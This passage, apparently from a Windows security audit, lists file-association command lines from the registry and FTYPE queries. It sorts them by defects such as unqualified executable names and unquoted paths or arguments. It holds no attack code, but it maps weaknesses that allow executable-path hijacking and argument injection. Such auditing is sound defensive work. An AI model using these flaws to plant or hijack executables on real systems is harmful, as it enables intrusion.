        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WPL\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WVX\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WVX\shell\Play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocProtocol.DLNA-PLAYSINGLE\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocProtocol.MMS\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WPDContextMenu.Url\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Edit\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Open2\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Print\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSHFile\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSHFile\Shell\Open2\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xmlfile\shell\Open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xslfile\shell\Open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\certificate_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\contact_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\group_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\LDAP\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\vcard_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /showexisting
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Hotmail\Protocols\mailto\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",MailToProtocolHandler %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Hotmail\shell\open\command
        (Standard)    REG_EXPAND_SZ    %systemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",OpenInboxHandler
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media\Windows Media Player\shell\open\command
        (Standard)    REG_EXPAND_SZ    %ProgramFiles%\Windows Media Player\wmplayer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\naom\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -extoff
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command
        (Standard)    REG_SZ    C:\Program Files\Internet Explorer\iexplore.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddNetworkLocation\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddPrinter\command
        (Standard)    REG_EXPAND_SZ    %systemroot%\system32\rundll32.exe printui.dll,PrintUIEntry /il
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.HistoryVaultRestore\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\FileHistory.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\0\{27dfca82-8593-46e4-98d8-23eb83452f65}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewEmail %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\1\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\2\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\3\{9d4b9c0a-7b4e-4c0d-926e-a536d781cff6}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnEdit %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\6\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\7\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\0\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\1\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\2\{0b51213d-c59c-4b59-bc10-f27d0b330294}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnImport
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksNoItemsSelected\3\{165095b1-322d-47b1-bc9f-2a9234c1c4cb}\shell\InvokeTask\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnExport
    
    End of search: 481 match(es) found.
    Note: only 209 of these 481 command lines comply with Microsoft’s own documentation, while the other 272 command lines show a total number of 409 bugs!
  2. Command lines without a dot, i.e. without any file extension:

    FTYPE | FIND.EXE /V "."
    batfile="%1" %*
    cmdfile="%1" %*
    comfile="%1" %*
    exefile="%1" %*
    MSStorageSense=explorer ms-settings:storagesense
    piffile="%1" %*
    scrfile="%1" /S
  3. Command lines without a backslash, i.e. without any qualified pathname:

    FTYPE | FIND.EXE /V "\"
    batfile="%1" %*
    brmFile="PrintBrmUI.exe" /import /file:"%1"
    cmdfile="%1" %*
    comfile="%1" %*
    exefile="%1" %*
    MSSppLicenseFile="iexplore.exe" "%1"
    MSStorageSense=explorer ms-settings:storagesense
    piffile="%1" %*
    regedit=regedit.exe "%1"
    regfile=regedit.exe "%1"
    scrfile="%1" /S
  4. Command lines without a (double) quote:

    FTYPE | FIND.EXE /V """"
    CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
    Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    Folder=%SystemRoot%\Explorer.exe
    hlpfile=%SystemRoot%\winhlp32.exe %1
    inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
    inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
    Microsoft.Workfolders=C:\Windows\System32\control.exe /name Microsoft.WorkFolders
    ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
    ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
    ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    MSStorageSense=explorer ms-settings:storagesense
    opensearchdescription=%SystemRoot%\explorer.exe
    P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    SHCmdFile=%SystemRoot%\explorer.exe
    SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
    wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
    webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
    zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1
  5. Command lines with an unquoted environment variable in the application’s pathname:

    FTYPE | FIND.EXE "=%"
    CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    Diagnostic.Cabinet=%SystemRoot%\system32\msdt.exe /cab "%1"
    Diagnostic.Config=%SystemRoot%\system32\msdt.exe /path "%1"
    Diagnostic.Document=%SystemRoot%\system32\msdt.exe /path "%1"
    Diagnostic.Perfmon.Config=%SystemRoot%\system32\perfmon /sys /load "%1"
    Diagnostic.Perfmon.Document=%SystemRoot%\system32\perfmon /sys /open "%1"
    Diagnostic.Resmon.Config=%SystemRoot%\system32\perfmon /res /load "%1"
    evtfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
    evtxfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
    Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
    Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    Folder=%SystemRoot%\Explorer.exe
    hlpfile=%SystemRoot%\winhlp32.exe %1
    inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
    inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
    ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
    MSInfoFile=%SystemRoot%\system32\msinfo32.exe "%1"
    msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
    opensearchdescription=%SystemRoot%\explorer.exe
    P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    pbkfile=%SystemRoot%\system32\rasphone.exe -f "%1"
    PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
    PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    SHCmdFile=%SystemRoot%\explorer.exe
    SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
    Undecided=%SystemRoot%\system32\OpenWith.exe "%1"
    Unknown=%SystemRoot%\system32\OpenWith.exe "%1"
    wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
    webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
    WindowsStore.License=%SystemRoot%\System32\licensemanagershellext.exe "%1"
    zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1
  6. Command lines with an unquoted long argument:

    FTYPE | FIND.EXE /I " %L"
    IE.AssocFile.URL="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    InternetShortcut="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    rlogin="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    telnet="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    tn3270="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
  7. Command lines with an unquoted argument:

    FTYPE | FIND.EXE " %1"
    Application.Manifest="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1
    Application.Reference="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2
    CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    chm.file="%SystemRoot%\hh.exe" %1
    CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    ftp="C:\Program Files\Internet Explorer\iexplore.exe" %1
    giffile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    hlpfile=%SystemRoot%\winhlp32.exe %1
    htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    http="C:\Program Files\Internet Explorer\iexplore.exe" %1
    https="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.HTM="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.MHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.PARTIAL="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.SVG="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.XHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.FTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.HTTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.HTTPS="C:\Program Files\Internet Explorer\iexplore.exe" %1
    inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
    inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
    mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    ms-msdt="%SystemRoot%\system32\msdt.exe" %1
    ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
    ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
    ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
    ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
    P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
    ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
    SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    svgfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
    webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
    xhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    xmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    xslfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1
  8. Command lines with unquoted environment variable(s) in an argument or with unquoted argument(s):

    FTYPE | FIND.EXE " %"
    Application.Manifest="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1
    Application.Reference="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2
    batfile="%1" %*
    CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    chm.file="%SystemRoot%\hh.exe" %1
    cmdfile="%1" %*
    comfile="%1" %*
    CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    exefile="%1" %*
    ftp="C:\Program Files\Internet Explorer\iexplore.exe" %1
    giffile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    hlpfile=%SystemRoot%\winhlp32.exe %1
    htafile=C:\Windows\System32\mshta.exe "%1" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}%U{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} %*
    htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    http="C:\Program Files\Internet Explorer\iexplore.exe" %1
    https="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.HTM="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.MHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.PARTIAL="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.SVG="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.URL="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    IE.AssocFile.WEBSITE="C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
    IE.AssocFile.XHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.FTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.HTTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.HTTPS="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IMEDictionaryCompiler="%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*
    inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
    inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
    InternetShortcut="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    JSEFile=C:\Windows\System32\WScript.exe "%1" %*
    JSFile=C:\Windows\System32\WScript.exe "%1" %*
    mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    Microsoft.System.Update.1="%systemroot%\system32\wusa.exe" "%1" %*
    Microsoft.Website="C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
    ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    ms-msdt="%SystemRoot%\system32\msdt.exe" %1
    ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
    ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
    ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
    ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
    MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
